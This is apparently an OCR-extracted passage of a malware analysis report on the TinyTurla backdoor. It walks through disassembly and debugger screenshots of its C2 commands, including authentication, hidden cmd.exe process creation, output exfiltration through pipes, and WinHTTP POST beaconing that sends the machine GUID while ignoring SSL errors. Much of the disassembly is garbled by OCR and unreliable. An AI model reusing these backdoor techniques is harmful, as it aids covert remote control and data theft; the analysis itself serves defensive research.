00007FF A 458 80 54 24 40 iea rdx,guord per ssifrsprsol
oooozeE s 41 8B FC mov_edi,ri
FF 15 FF 0C 00 00 | call qmrd p‘tr HSH[<ewinHTTpqueryDataavailables || hAX  DO000Z7ATZ7ESEE0
85 CO Test eax,eax
v 78 4A ie turlalzFrearsszesr o g Con00 2782 GRREED)
0F 1F 0n non dword otr Traxl.eax RDX  0O0000083CF3FF750

Figure 21

The response from the server is copied to a buffer via a call to WinHttpReadData:

00007FF8A73B23E2 88 D7 mov edx,edi =
#‘“ 23| 4C BD 4C 24 4C lea r3,gword ptr ss:[ rsp+4C] v
o I e Rhs RAX  000000000000038% L
o ngtee ERRMLEEN JE ba RCX  0000027A7278BFEO0
g; é_g 0B 0D 00 00 E:R g\;gtgagtr dsi [<&winHttpReadData-] o DO s nsesh
v 74 1E je turla.7FFBA73B2417 RBP  000000000000004A vl
8B 44 24 40 mov eax,dword ptr ssilfrsp+20] BSE  00000DDB3CF3FF710
45 88 CB mov rcx,rbx RSI  00000083CF3FFE88
3B 44 24 aC cmp eax,dword ptr ss:lfrsp+aCl RDI 0000000000000000
00007 | FFS%'S =iFE 14 jne turla.7FFBA73B241A
45 8D 54 24 40 Tea rdx,gword ptr ss:rsp+40f RS 0000000000000384 P
03 F8 _ L add edi,eax R9 00000083CF3FF75C

Figure 22

TinyTurla implements 12 different commands depending on the 1st byte received in the response. It uses a switch

statement to execute a particular function:

.text:eBea7FFBAT3616B6
.text:@@ea7FFBAT3B16B6 loc_7FFBA73B16B6:
.text:00007FFBA73B16B6 movzx eax, ri3b

.text:@0BB7FFBAT3B16BA dec eax ; switch 11 cases
-text:B0BBYFFBATIBLEEC cmp eax, BAh
.text:eeea7FFBATIBLI6EF ja def_7FFBA73B16D8 ; jumptable @@@87FFBATIBLEDS default case

.text:@BeR7FFBAT3IB16CS lea rdx, cs:7FF3A73BB8GBH

.text:@@007FFBATIB16CC cdqe

. text:@ePeTFFEATIBIECE mov ecx, ds:(jpt_7FFBA73B16DE - FFFBA73B800Eh)[rdx+rax*4]
.text:@8807FFSAT3B16D5 add rex, rdx

. text:@@007FFBATIBE16D3 jmp rex 5 switch jump
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Figure 23

1st byte = 0x00 — Authentication

The backdoor compares the “Security” value with a string starting from the 2nd byte in the response:

48 8B 56 10 mov rdx,qword ptr ds:[rsi+10] | bt
€5 51 FE FF FE Zai Sura rereanaa1ano e T
. 3¢ Ga ;ﬁgtt:ﬁ‘a?%mﬁ\nmszs REME DCann LG LERAS AT LEipassg
ac 33 ce Var raad e s RDX 000001F1689787A0 L"test"
Figure 24
=
.text:@@B@7FFBA73B1485
.text:B@0A7FFBAT3B1485 loc_7FFBA73B1485:
.text:88007FFBA73B1485 xor eax, eax
.text:@@BA7FFBA73B1487 cmp eax, 1
.text:BBOO7FFBA73B148A jz short loc_7FFBA73B14CD
s L J
e
.text:00007FFBA7IB148C mov eax, [rsp+l8h+var_18]
.text:BBBE7FFBATIB148F mov rex, [rsp+lshtarg 8]
. text:00@07FFEA7IB1494 movzx  eax, word ptr [rockrax*2]
.text:00087FFBA73B1498 mov ecx, [rsp+l8h+var_18]
. text:@BBeTFFBAT3B149E mov rdx, [rsp+l8h+arg 8]
.text:00007FFBA73B14A0 movzx  ecx, word ptr [rdx+rox®2]
-text:00807FFBATIB14A4 cmp eax, ecx
. text:0B@e7FFBA73B14AE6 jz shert loc 7FF8A73B14AC
L
il =
. text:88087FF8AT3IB14AC
. text:@B@e7FFBA7IBL4AC loc 7FFBA73BL4AC:
.text:00007FFBATIB14AC mov eax, [rsp+lh+var_18]
.text:BBBO7FFBATIB14AF mov rex, [rsptlshiarg 8]
.text:@ORBTFFBA73B14B4 movzx  eax, word ptr [rockrax*2]
.text:@@887FFBA73B14B8 test eax, eax
.text:@P@eTFFBAT3B14BA jnz shert loc 7FF8A73B14(3
A J . h J ; h J
= ] i = il e =
.text:@8087FFBAT3B14A8 xor eax, eax . text :00087FFBA73B14BC mov eax, 1 .text:@@BO7FFSATIBLAC3
.text:B@8B7FFBA73BL4AA Jmp short loc 7FFBA73B14(D| |.text:@@887FF8A73B14C1 jmp short loc 7FFBA73B14CD .text:80807FFBA73B14C3 loc 7FFBA73B14C3:
.text:@0807FFBA73B14C3 mov eax, [rsp+l8h+var_18]
.text:@80807FFBA73B14C6 inc eax
. text :BBRB7FFEA7IBLACE mov [rsp+i8h+var_18], eax
.text:@0807FFBA73B14CB jmp short loc_7FF8A73B1485

Figure 25

Whether the two strings are equal, the malware sends “00 00” to the C2 server. Otherwise, it sends “00 03”,

indicating an unsuccessful “authentication”.

1st byte = 0x01 — create a process

The binary creates a process specified by the C2 server in the response (0x08000000 =
CREATE_NO_WINDOW):
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49 89 07 mov_qword ptr ds:[ris],rax RAX  00DD00SO3ELEFS50
ot t:::tzﬁar?:b:mnslmw REX  0D007FFG18D5A001 "ndowLongPTru”
e D = RCX  0000000000000000
o iDatrs 2 RDX  0DO001F16BASAOAL L cmd. exe™
44 88 28 mowv REP  00D000803E1EFSAL
49 8B 07 mov 5 RSP 00DODOS03ELEF4D0
C6 40 01 02 mov byte ptr ds:[rax+1],2 RSI  0D0O0DIF16B979130 &L"SYSTEM\\CUF rentcontrolset
~ E9 24 FF FF FF jmp turla.7FF8A73B15DA RDI  000001F16BASAOAL L"cmd. exe™
41 OF B6 C5 movZzx eax,ri3sb
FF Cc8 dec eax RS 0000000000000000
00007FF8A73 oF &7 E2 08 00 00 ggptsﬁé'&?#mnsmm e oo
7FFS 5 - B
e [ oooo7FFa 48 8D 15 34 E9 FF FF|lea rdx,qword ptr ds: [7FFBA7380000] aﬁ ggggggggggigg?gg
. 7| 48 98 cdge
: R1Z  00D000B03ELEFEED
. F4+1E2
. gg gg gi 2C 1E 00 00 mg\é trEE: sword ptr ds: [rdx+rax=4+1E2C] D remresaree
. FF E1 Jme rex R14  0000000000000010
. 48 8B CF mov_rox,rd R15  000000S03E1EFE5D
. E8 3E FD FF FF €11 turla, 7EFea7381430
. 41 3B C6 cmp_eax,ri4d RIP  00DOTFFBA73B1754 turla.00007FF8AT3B1754
el ~ 74 07 je turla.7FFBA73B16EE
[ B3 01 mov bl,1 RFLAGS  0000000000000246
~ E9 C5 06 00 00 imp turla.7FF8A73B1DE3 ZE 1 PE 1 AF 0
33 D2 xor edx, edx
. 43 8D 4D AF Tea rcx,qwor‘d ptr ss:firbp-s1j) 2:; g .‘?E g ?E g
. 44 8D 42 68 lea rad,gword ptr ds: [rdx+63]
. E8 E3 FC FF FF €all turla.7FF8a73B13E0
4 33 D2 xor edx, edx LastError 00000000 (ERROR_SUCCESS)
. €7 45 AF 68 00 00 00|mov dword ptr 55:[rh -5 1, 63 Laststatus CO00007C (STATUS_NO_TOKEN)
. 43 8D 4D 8F lea rcx,gword ptr_ss:|[Erbp-71
. C7 45 EB 01 01 00 00|mov dword ptr ss:[frbp-15f,101 GS D02B FS 0053
. 44 8D 42 18 lea rad,qword ptr ds:[rdx+1s] ES D02B DS 002B
. E8 C6 FC FF FF €all turla.7FF8A73B13E0 Cs 0033 55 0028
. 48 8D 45 8F Tea rax,qword ptr ss:[rop-71i]
* 45 33 ED sor rizd,risd e £ X87r0 00000000000000000000 STO EMpTY O.000000000000000C
. ot il zns it lLR ] e (i X87F1 00000000000000000000 STL Empty O.000000000000000C
o e et 3;2; ;ax'rword A e X&7r2 00000000000000000000 ST2 Empty 0.000000000000000C
= St ot e poramoro DLE e R x87r3 00000000000000000000 S5T3 Empty 0.000000000000000C
* 48 89 44 24 40 mov gword ptr ss:rspisol,rax x87r4 00000000000000000000 ST4 Empty 0.000000000000000C
. 48 8B DT mov rdx,rdi x87r5 00000000000000000000 STS EMPTY O0.000000000000000C
. 4C 89 €C 24 38 mov gword ptr ss:[frsp+3a],ri3 x87r6 00000000000000000000 ST6 Empty 0.000000000000000C
. 33 C9 XOF £CX,ecx x87r7 00000000000000000000 ST7 Empty 0.000000000000000C
. 4C B9 6C 24 30 mov gword ptr rsp+30f,ri3
. C7 44 24 28 00 00 00|mov dword ptr rsp+28], 8000000 x87Tagword FFFF
o [ 00007FF8A73B1T4C C7 44 24 20 01 00 00|mov dword ptr rsp+20d,1 e e —
FF 15 F6 18 00 00 call gword pt :[ﬂreate?ru(ess\ﬂ)] v T
. T S S , | Defaut (x4 fastcal) - [ unlock
1: rcx 0D000000000000000
gword ptr [00007FFS8A73B3050 <turla.&CreateProcesswWs>]=<kernel32.CreateProcessis 2t rdx OO0DDLF1GBASADAL L*cmd.exe"
r8 0000000000000000
r3 0000000000000000
. text:00007FF3A7381754 turla.d11:$§1754 #B854
P D0000DBO3EIEF530
@Woump1  §Woump2  §oump3  @pumps  EHoumps @ watchi  lx-lLocals 4 struct 00D000S03ELEF4D S | DOOO000000000000
Add 000000803E1EF4ED | 0000000000000018
Less Hex. ASCLL * | bo0000S02E1EF 4E2 | DODOOOOOODDO00DD
000001F16BA59F50 |00 00 00 00[00 00 00 00[00 00 00 00[00 00 00 00|... T 1EF4FO .
000001F16BA59F60| 00 00 00 00(00 00 00 00|00 0O 00 00(00 00 00 00| ... i I
0D0001F16BA59F70| 00 00 00 00(00 00 00 00|00 0O 0D 00(00 00 00 00|... 2 s
000001F16BA59FS0| 00 00 00 00(00 00 00 00|00 00 00 00(00 00 00 00|... e 1EF08
000001F16BA59F90| 00 00 00 00(00 00 00 00|00 0O 00 00(00 00 00 00|... 5 e
0D0001F16BA59FAD| 00 00 00 00(00 00 00 00|00 00 00 00(00 00 00 00... e

Figure 26

The WinHttpOpenRequest routine is used to create a POST request handle (0x800000
= WINHTTP_FLAG_SECURE):

00007FFBA73B1EDG 48 88 46 18 mov rax,qword ptr ds:[rsi+18]
00007FF8A73B1EDA 48 03 C9 add rcx,rex :ﬁ ggggggggi:&g;ggg L WEATime™
00007FFBA73B1EDD OF 10 04 C8 movups xmmo,xmmword ptr ds:[rax+rox:s] el e
49 8B CA mov rcx,rio i o
00007FEBA73B1EE4 66 44 OF C5 CO 04 pextrw r8d, xmo 4 EDX  ODOO7FF8A7383150 L"POST
00007FFBA73B1EEA 66 48 OF 7E C2 movg rdx,x REP  DDOODOSO3ELEF&E0
00007FFBA73B1EEF FF 15 DB 11 00 00 call qwur‘d ptr ds: [«&winHttpConnect>] B3P 000000803E1EF600
00007FFBAT3B1EFS 4C BB ES mov ri3,rax RSI 000001F168979130 &L"SYSTEM\\CurrentControlset?
00007FFBA73B1EFE 48 85 CO test rax,rax RDI  000000000000D0DD
00007FFBA73B1EFB| -~ OF 84 D8 01 00 00 je turla.7FF8A73820D09
00007FFBA73B1F01 48 88 56 28 mov rdx,qword ptr ds:[rsi+28] RS 0000000000000000
00007FFBA73B1FO5 4C BD 4D 48 lea r3a,qword ptr ss:‘[rhp+4§] RO 0000000000000000
00007FFBA73B1F09 4C 80 45 E8 lea ra,qword ptr ss:firbp-15J R10  0OODOOTFFSB1ICRESD ntd11.00007FFEB1ICRESD
00007FFBA73B1FOD 48 8B C8 mov_rcx,rax R T ore F AL TR
00007FFBA73B1F10 E8 CB 02 00 00 €all turla.7FFBA73B21E0 o CEGT  TeiBEe oD
00007FFBA73B1F15 85 CO test eax,eax
(| 00007FF8A73B1F17| + OF 84 BC 01 00 0O je turla. ?FFEA?}EZUDS RTINS 000001 E 16EIHRLD 0 2
» | a0007FF8A7381710 OF 1F 00 op dword ptr ds:[ R14  O0D00D01F16B981EED L"0Dad3e319-280c-4F11-94d4-d3¢
e | DDODD7FFBA73B1F20 44 BB 45 48 mov rad,dword ptr R15 0000000000000000
s | 0ooo7FEEATIBIF2A 48 8D 45 50 Tea rax,qword ptr
s [ ooo07FFaa73B1F 28 48 88 55 EB mov rdx,qword ptr RIP  0ODO07FFBA73B1F99 turla. 00007 FF8A73B1F99
# | 00007FF8A73B1F2C 4C 8D 4D FO lea rg,qword ptr ss
s [ oo007FFBA73B1F 30 48 88 CE mov rcx,rsi RFLAGS 0000000000002 46
. FEFRATIBIF33 48 89 44 24 20 mov_gword ptr ss:[frsp+20f,rax ZE 1 PE 1 AF O
o E8 23 F6 FF FF €all turla.7FF8A73B1560 OFO0 SEO DF O
. 44 89 7D 48 mov dword ptr ss:[[rbp+4sf,risd s aEL RS
. 85 CO test eax,eax
v 75 1A ne turla.7FFSAT3BIFSE
38 83 7D E8 00 %mp aword ptr ss:ifrbp 151,0 LastError 00000000 (ERROR_SUCCESS)
v 74 09 je mﬂa_yppa,u;gl;;;r LastStatus CO00007C (STATUS_NO_TOKEN)
48 8D 4D ESB lea rcx,gword ptr ss:[rbp-13j
ES FB F3 FF FF €all turla.7FFBA73B1350 GS 0028 FS 0053
48 83 7D FO 00 cmp gword ptr ss:firbp-10§,0 ES 002B DS 0028
3 v E9 30 01 00 00 jmp turla.7FF8AT3E208F €S 0033 S5 0028
00007 FF BA7ZB1FSF 48 83 7D E8 00 cmp gword ptr ss:|frbp-1sf,0
3B1FE4( v 74 09 je turla.7FF8A73BIFEF X87r0 00000000000000000000 STO Empty O.0000000000000000C
48 8D 4D EB "Eg]"o‘ ?“"-'"'d ptr ss:[frbp-15] X87r1 00000000000000000000 ST1 Empty 0.0000000000000000C
_Eé gé :? E; EE ;gv rigrq:o:?g’é?gns[r 103 X87r2 00000000000000000000 ST2 Empty 0.0000000000000000C
45 8D 15 D6 11 00 00|Tea rix qword prr de: [7;:3.«\733;150] X87r3 00000000000000000000 ST3 Empty 0.0000000000000000C
ac 8B 76 28 mov ri4.qword prr ds:[rsitzs] X87r4 00000000000000000000 ST4 Empty 0.0000000000000000C
45 33 C9 xor rad,rad x87r5 00000000000000000000 STS Empty 0.0000000000000000C
€7 44 24 30 00 00 80|mov dword ptr ss:[rsp+zofl, 200000 x87r6 00000000000000000000 STE Empty 0.0000000000000000C
45 33 CO xor rad,rsd X87r7 00000000000000000000 ST7 EMPTY O.0000000000000000C
4C 89 7C 24 28 mov gword ptr ss:lffrsp+zsj,ris
49 88 CD mov rcx, r13 x87Tagword FFFF
4C 89 7C 24 20 ma}lflqwor' d tr ss [Esp-r 2o, ra . ]
FF 15 59 11 00 0O call gword ptr ds: <m1nuttmpemeques:> v
s =5 5 |Default (64 fasteal) [5 1210 unlocke:
] - - - 1: rcx 0DDODIF1G6898BDDO
qword ptr [DODD7FF8A73B30F8 <turla.&WinHTTpOperrRequest>]=<winhttp.WinHttpopenRequeast> 2: rdx O0007FFBA73B3150 L"POST"
3: ra 0000000000000000

r9 0000000000000000
. text:00007FFBATIBIF99 turla.d11:51F99 #1399

000000803ELEFG48
0000000000000000

Woump 1t @oumpz  @WDump3  @Woump4  @oumps @ watchi  [xlLocals ;?) Struct 0O000DB03EIEF608

TR i e A | 200000803E1EFE10| D0007FFE18DSADD1 | “ndowWLONGPTF”

T AT e R R N R R TR T N T TR - nnnnnnan;gf:igéa 000001F168979130 | &L "SYSTEM\\CurrentControlset\\
000001F16B985450| 00 00 62 F5|89 26 D7 O1|F0D 82 23 2F |00 18 00 1EFe28

000D01F16B985460| 00 CO 03 2F 2D F8 D6 O1|F3 82 22 2F|00 17 00 1EFe30| 00007FF

Figure 27

The backdoor adds an HTTP request header called “Title” that contains the Machine GUID to the request handle
(0x20000000 = HTTP_ADDREQ_FLAG_ADD):
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®|| 00DD7FF8AT7 3 41 B9
. 41 83
3 48 88

& ( 0000T7FFB8A73BLFFB 48 8B
FF 15

D0007FF8A7 382004 43 88
00007FF8A7 382007 85 CO
DDDO7FF8A73BZ009| ~ OF 84
00007FF8AT3B200F 41 B9
00007FF8AT 382015 C7 45
00007FF8AT3B201C 4C 8D
000O7FF8A7 382020 41 8D
00007FFBAT3B2024 FF 15

Figure 28

00 00
C8 FF

00 00

33 00 00

mov rad,20000000 |
or r Bg -FFEEFFFF RAX  0000000000000D4A Eas
mov rdx,rdi RBX  O0D0001F16B98BF60

MoV _rcx,rbx
€all gword ptr ds:[<awinHttpaddrequestHeaders ey

MOV rex,rbx RDX  O0DO001F16BAZ1820 L"Title: Dad3e319-280c-4
test eax,eax REF  O0D0000S03ELEFE60

je turla.7FF8A7382000 RSP 00D0DO0SO3ELEFE00 &L"Dad3e319-280c-4F11-94
mov rad,4 RSI  O0D0001F168979130 &L"SYSTEM\\Currentcontro’

mov dword ptr ss:[rbp—ss], RDI 000001F16BAZ1820

tle: oad3e3l9-z80c-41

lea ra,gword ptr ss +5 2]
lea edx,qword th‘ ds:[ro+18] RS 000000DOFFFFFFEF
call qword ptr ds:[<&WinHttpSetOption>] "3 0000000020000000

The security flags for the handle are set using WinHttpSetOption (0x1F
= WINHTTP_OPTION_SECURITY_FLAGS, 0x3300 = WinHttpRequestOption_SslErrorIgnoreFlags):

00D07FF8AT382015
00007FF8AT38201C
00007FFSAT

7EFB8A73B2!
00007 FFS%_SB’DSS

UUUU’FFo-\ 382043

Figure 29

58 00
8

e 10

33 00 00|mov dword ptr ss:[rbp+ So],SSUU RAX  0000000000000001

00 00

00 00

lea r&,qword ptr ss:
lea edx,gqword ptr ds:[r ]
€all quord ptr ds:[<&WinHttpsetoptions]

Ebps RBX  D0O0O01F16B98BFED

RCX  0O00D01F16E98EFE0

mov rox, rbx RDX  000000000000001F
test eax,eax REP  DODODOSO3ELEFE60

je turla.7FFB8A73B20D0 BSE  DODODOSD3ELEFE00 &L"0ad3e319-280c-4F11-94¢
mov edi,dword ptr ss:[ rbp+50] RSI 0D00001F16B8979130 &L"SYSTEM\\Currentcontro’
xor risd,risd RDI  DODODIF16BA21820 L"Title: Dad3e313-280c-4
mov gword ptr ss:[rsp+3o0f,ris

00 RoH, B . RE 000000803ELEFEES

mov dward _ptr ss:irsp+2sll, edi RO 0000000000000004

The malicious process sends the POST request to the C2 server by calling the WinHttpSendRequest API:

Figure 30

#|| 00007 FFBA73BIF BC 24 28 mov gword ptr ss:frsp+28],ris RAX  0000000000000001
. UUUU FF8A73B1F91 mov rcx,ris REX DDD001F1EB98BF60
. 24 20 mov gword ptr ss:lrsp+20f,ris e GO T T EGRRLED
. 11 00 00 €81 qword ptr ds:[<&WinHTUTpOpenRequests>]
. mov rbx,rax RDX 0000000000000000
. test rax,ra REFP 000000803EL1EFE60
- 01 00 00 je turla. 7FF8}\?3320€!9 B3P 000000803EL1EFE00 &L"0ad3e319-280c-4F11-94
. mov rcx,rid RSI 000001F16B979130 &L"SYSTEM\\CurrentContro’
. FF FF call tur1a 7FFBA?33143D RDI 0000000000000002
. mov risd,
o vooo7FFsa73BIFES lea scx qword ptr ds:[rax+10] RE 0000000000000000
: nnng E;E:i‘giigg FF FF ;:11[,;::1{‘::)(7FF5A733131D R9 0000000000000000
8A73 5
AR b R1o  000000000000000D
QODO7FFBA7SBIFCH| - o1 00 00 je turla. 7FFeAT3E20D
»| 00007 EFBA73EIFCA 00 00 00 [mov rad,E L1288 CoonalL IERARS L0
. 59 11 00 00|1lea rdx,qword ptr ds:[7FFBA73B3130] LI CENI | £ 158 3B ADE ] i
. MoV FCx,rax R14 000001F16B981EED L"Dad3e319-280c-4F11-94d
. FF FF call [ur‘]a FFFBA73B1390 R15 0000000000000000
. 0E lea rcx,qword ptr ds:[rdi+E]
. mov rad, rlSd RIP 00007FF8AT3B2051 turla.0D007FF8A7 382051
. mov. rdx,r
. FF FF €all turla.7FFBSA73B1390 RFLAGS 0000000000000246
= 00 00 20 mov rad, 20000000 ZE1 PE 1 AF D
. 13 or r8d,FFFFFFFF
: e oF 0 SE O DEO
. FFSA’:ELFFEI moV_FCx, yrbx
® || 00007FFBA73BIFFE 11 00 00 €all qword ptr ds:[<&WinHttpAddRequestHeaders
o || o0DO7FFBAT3B2004 mov rcx,rbx LastError 00000000 (ERROR_SUCCESS)
. [][][]UTFFD"‘E"(](]' test Eax,ea LastStatus COD0DO7C (STATUS_NO_TOKEN)
7 - 00 00 00 je turla 7FFBATIB2000
. 0()00 FFD“_‘E"UDF 00 00 00 mov rad, GS 002B FS5 0053
. 7FFBA73B2015 00 33 00 00|mov dwur‘d ptr ss:[frbp+ssj,2200 ES 002B QS 002B
. 58 lea rs,qword ptr = rbp+! So] CS 0033 35 002B
- 1B lea edx,qword ptr ds 18]
. 10 0o 00 €&l quord ptr ds: [<&WinHTTpSeToprions] XB7r0 00000000000000000000 STO Empty 0.0000000000001
. HEEE S e 'g:‘s‘trgg;('g)‘ x87rl 00000000000000000000 STL Empty 0.000000000000
A73B2021 :
O0007EEBATIB20ZF i 00 00 00 je turla.7FFS8A7382000 X87rz 00000000000000000000 STZ2 EmMPTY 0.000000000000
#| D000O7FFBA7ZBZ035 mov edi,dword ptr ss:[rbp+5o] X87r3 00000000000000000000 STZ EMPTY 0.000000000000
o[ oooo7FFBA7ZB2038 xor risd,risd X87r4 00000000000000000000 ST4 EmMpTy 0.000000000000
|| oo007FFBA7ZB203R 24 30 mov gword ptr ss:[Irsp+30f,ris X87rs 00000000000000000000 STS EMPTY 0.000000000000(
o DOOD7FFBA72B2040 xor rod,rad X87r& 00000000000000000000 ST& EmMpTY 0.000000000000
|| 00007 FFBA73B2043 28 mov dword ptr ss:firsp+2&j,edi X87r7 00000000000000000000 ST7 EmMPTY 0.000000000000
® || 00007 FFBA73B2047 xor rs&d,rad
|| 00007 FFBA73B204A )mr edx, edx x87Tagword FFFF
® [ 0o007FEBA72BZO4C 24 20 ov_dword ptr ss:[rsp—?u] risd
81 10 00 00 |:n'|'| aword ptr ds: [=&winHttpsendrequest>] w [ B T
o[ i | Default (x64 fasteal) =
= = = 1: rcx 000DO1F16B98BFE0D
qword ptr [D0007FF8AT3E30D3 <turla.&WinHttpSendRequest=]=<winhttp.WinHttpSendRequests> 2: rdx 0000000000000000
3: r& 0000000000000000
4: r9 0000000000000000
ZEEXEEO000/RE8A73B20: L EUE] A d i 52021 41451
o 60 3831
@Woump1t | @oump2  @WHoump3  @Hoump4  @MDumps @ watch1  Bellocak ' Stuct 5 1
Hex s 000000803E1EFE10
OODOOOBO3ELEFEEE |00 33 00 00]80 ﬂD B0 00|00 00 0D 00|00 0D 00 OO UUUUUUDUDELEEE;S 000001F16B979130 | &L"SYSTEM\\CurrentControlset\’
000000B03ELEFBCS 00 00 00 00|00 0O 00 00 1EF628
000000803E1EFEDS | 44 02 23 00|00 ﬂD 00 00 D 1FEGan

A confirmation message “01 00” is sent to the C2 server using WinHttpWriteData:
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00
o0
11,

FF
00

20
00

o0

00

00

o

S

o

S

mov rox,ri

call tuﬂa 7FFRA7351430

mov risd,ea:

Tea e(}(,qwurd ptr ds:[rax+10]

€all turla.7FFBA73B1310

mov rdi,rax

test rax,rax

je turla.7FF8A73B20CD

mov rad,E

lea rdx,qgword ptr ds:[7FF8A73B83130]
mov_rex,rax

€@l turla.7FFE8A73B1390

Tea rcx,qword ptr ds: [rdi+E]

mov rad,risd

mov_rdx,r14

€all turla.7FFEBA73B1390

mov r9d, 20000000
or rad,FFEFFFFF
mov rdx,rdi
mov_rcx,rbx

€alll qword ptr ds:
mov rcx,rbx

test eax,eax

je :ur1a 7FF8AT3B20D0
mov rad,

mov dwor‘d ptr silirbp
lea ré,quord ptr ss:firoprsc]
lea edx,qgword ptr ds:[r3+1B]

call qwar‘d ptr ds:[«winﬂttpse:optiom]

[<&WinHttpAddRequestHeac

+5 8]

je turla.7FFBA73B2000
edi,dword
rlSd,rlEd
gword ptr

mov
xor
mov
xor
mov
xor
xor
mov

ptr ss:[Brbp+s0f
s:frsp+30Q,ras
i}, edi

rsp+20f,risd
: [<&winHTtTpSendRequest>]

je turla.7FF8A73B20C5

lea r9,qword ptr ss:[frbp-zoj

mov rad,edi

mov_rdx,ri2

‘€all qword ptr ds:[<awinHttpwriteData>]

RAX  0000000000000001

RBEX  ODODDLIF16BASAOAD

RCX  0ODODDLIF16BASAOAD

RDX  ODOD01F16B3B5440

REF  00000D0803ELEFEE0

RSE  000000803ELEFE00 &L "0ad3e319-280c-4F11-94d4-d:
RSI  0O00D01F16B979130 &L"SYSTEM\\CurrentControlset\
RDI  0000000000000002

RS 0000000000000002

R9 0D0000S03ELEFE4D

R10  ODOOOLF16B970DS0

R11  00000000D0000246 (55

R12  ODOOODLF16B985340

R13  0DOO0O1F16B98EDDOD

R14 ODOODLF16B981EED L"Dad3e319-280c-4T11-94d4-d3¢
R15  0000000000000000

RIP  ODOO7FFSA73B2065 turla. 00007 FFBA73B2068
RFLAGS  0000000000000202

ZF 0O FF O

OF 0 SF O DF O
CFO0O TFO IF1

LastError 00000000 (ERROR_SUCCESS)
LasTSTatus CO00007C (STATUS_NO_TOKEN)

GS 0D2B FS 0053

ES 0028 QS 002B

CS 0033 35 0028

Xx87r0 00000000000000000000 STO Empty 0.0000000000000000C
Xx87r1 00000000000000000000 ST1 Empty 0.0000000000000000C
x87r2 00000000000000000000 ST2 Empty 0.0000000000000000C
Xx87r3 00000000000000000000 ST3 Empty 0.0000000000000000C
Xx87r4 00000000000000000000 ST4 Empty 0.0000000000000000¢
x87r5 00000000000000000000 STS Empty O.0000000000000000¢
X87r6 00000000000000000000 STE Empty O.0000000000000000C
XB87r7 00000000000000000000 ST7 Empty O.0000000000000000C

x87Tagword FFFF

v
| Default (x64 fastcall)

®| DODOFFFBA73B1FAB
® | DODO7FFBA73BIFAE FF
.
:
. FF
: s
& (| 00007 FF"_BEiFCl
00007 FFB8A B1FC4 v o1
& | 00D07FFBAT3IBIFCA 00
®| DDDO7FFBA73B1FDO 59
®| D0DO7FFBA73IBIFDT
®| DODO7FFBAT7 3B FF
®| 0DDDOFFFBAT 0E
® | DODOZFF!
| D0DOTFF.
@[ DODO7FFBAT. FF
®| DODOFFFBAT 00
®| DDDOT7FFBAT. FF
® | DO007FFBAT
. UUU(J FF8.
. FBA 11
.
:
00007 FFS%’ - oo
| 00007 FFSi‘-_) 00
# (| DDOO7FFE, 00
. E)OO(J_ FS 58
. 1B
@ | 00007 10
D0007FFBA73B202A
® | DODO7FFBA73B202D
00007FFBA73B202F ~ o0
®| DODOZFFBA73B2035
- 24
:
- 28
@ | 00007 FFD%’SEPU-‘-
® | D0DOFFF B204C 24
®| DODOFFFBA73B2051 10
DD007FFBA73B2057
®| DDDO7FFBA73B205A
00007FF8A73B205C v
®| 00007FFBA73B20SE EO
D0007FFBA73B2062
& ( 00007 FFD*"‘E 065
== o
'
.text: 00007FFBA73B2068 turla.dl1:$2068 #1468

s
gword ptr [OD0D07FF8A73B30ED <turla.&winHttpwriteDatar]=<winhttp.winHttpwritepata>

~ |[5_[#] 0 Unlocke

X 0000D1F16BASADAD
rdx 000001F1GEIBS440
rs 0000000000000002
r9 000000803ELEFE40

ad3e319-280c-4T11-94d4-d369 ,

! ; 7 3 ; = @ 0 DD00DLF168AZ182E
BoDump 1 gy DU"‘P 2 YWoumps  Wpumps  Wpumps @ warhi  bellocls P smuct  FSRSEEEEEECTCRE0E 50000LF 168951FED | L 0ad3e319-230¢ 411 54d4_d365
e T 000000S0ZELEFE10 | 00007FF60000004A

|Address |
000001F16B985 440 01 00 00 ooloo 0o 00 oofF1 8z zo 2Ffoo 15 oo solkl..

Figure 31

gk

00000D8N3EIEF618

000001F16B979130 | &L"SYSTEM\\CurrentControlsetl

WinHttpReceiveResponse is utilized to halt the process until it receives the response to the HTTP request:

Figure 32

. 33 D2

. 2077 FF 15 A3 10 00 00
®| 00007FF8A73B207D 48 8B CB

®| 0D007FF8A73E2080 39 7D EO

e| 00DO7FF8A73B2083| v 75 40

al nnAnzEEaa7aRINAE EE 1€ EA 1A AN AN

xor edx,edx

call gword ptr ds:[<&winHttpReceiveResponse
N

mov rcx,r
cmp dword ptr ss:[rbp-20ff, edi

jne turla.7FF8A73B20CS

ESTA mwnrd ntr des §egwinktraclacatandlas]

RAX  0000000000000001
REX  0ODOOLF16BASADAD
RCX  DDDODLF1E6BASAOAD
RDX  0000000000000000

The backdoor sleeps for “TimeShort” milliseconds and waits for further instructions:

. 88 4
. FF 15

i e FFBA73B20A 48 8B 56 28

i e[ oooo7FFaa73Ba0AR 4c 8D 4D 43

Figure 33

mov_ecx, dwor"d ptr ds: [rsi+C]
call qword ptr [c&s]eep:]
mov rdx,qgword ptr‘ ds:[rsi+28]
lea r9,qword ptr =s [r’hp~4a]
tan -0 o

LN}

1st byte = 0x02 — create a process and exfiltrate its output

RAX  OD0DDDS803ELEFE50
REX  OD0DD1F1G6BASADAQD
RCX  00000D000DD0S000

The malicious file creates an anonymous pipe and returns handles to the read/write ends of the pipe:

00007FF8A,
0DO07FFE

7| 1
[mml FF-:v-‘. 5

Figure 34

00

00

o0

FF

00 |mov dword ptr ss:[frbp-sof,18
xor rad,rad
mov qword ptr ss:[rbp-78],rbx
lea rs,gword ptr ss:[rbp oU]
00| mov dword ptr ss:[irbp
lea rdx,gword ptr [rf *sn]

FF | mov

FE

qword ptr ss:[frbp+30] ,FFFFFFFFFFFFFFFF
lea rcx,qword ptr ss:[rbp+

mov_gword ptr ss:[irs vaﬂ],FFFFFFFFFFFFFFFF
call gword ptr d <&Createripe-]

Test eax,eax

je turla.7FFBA73B10AD_

RAX  0000000000000018
REX  0000000000000000
RCX  0O0DDDDOSO3ELEF4DO0
RDX  0OODDDOSO3ELEF3FO
RBP  000DDOSOZELEF4AD
RSP 0000D0BOZELIEF A0
RSI  000000BOZEL1EFS20
RDI  0000D0BOZEIEFE20
RS 00000D0B03ELEF420
R 0000000000000000

The write handle is set to be inherited by calling the SetHandleInformation routine (0x1 =

HANDLE_FLAG_INHERIT):

® || 00007FF8A73B1088 oL

Figure 35

00

00

lea edx,gword ptr ds:[rbk+1]

Xor r8d,rs

€all qword ptr d5:i[<&SetHandleInformation:
test eax,eax

jne turla.7FFBA73B10B4
mov_rcx,gword ptr ss:lfirbp+30Q

€all qword ptr ds: [q&:'luseHand'lD]
mov_rcx,gword ptr ss:jffrsp+

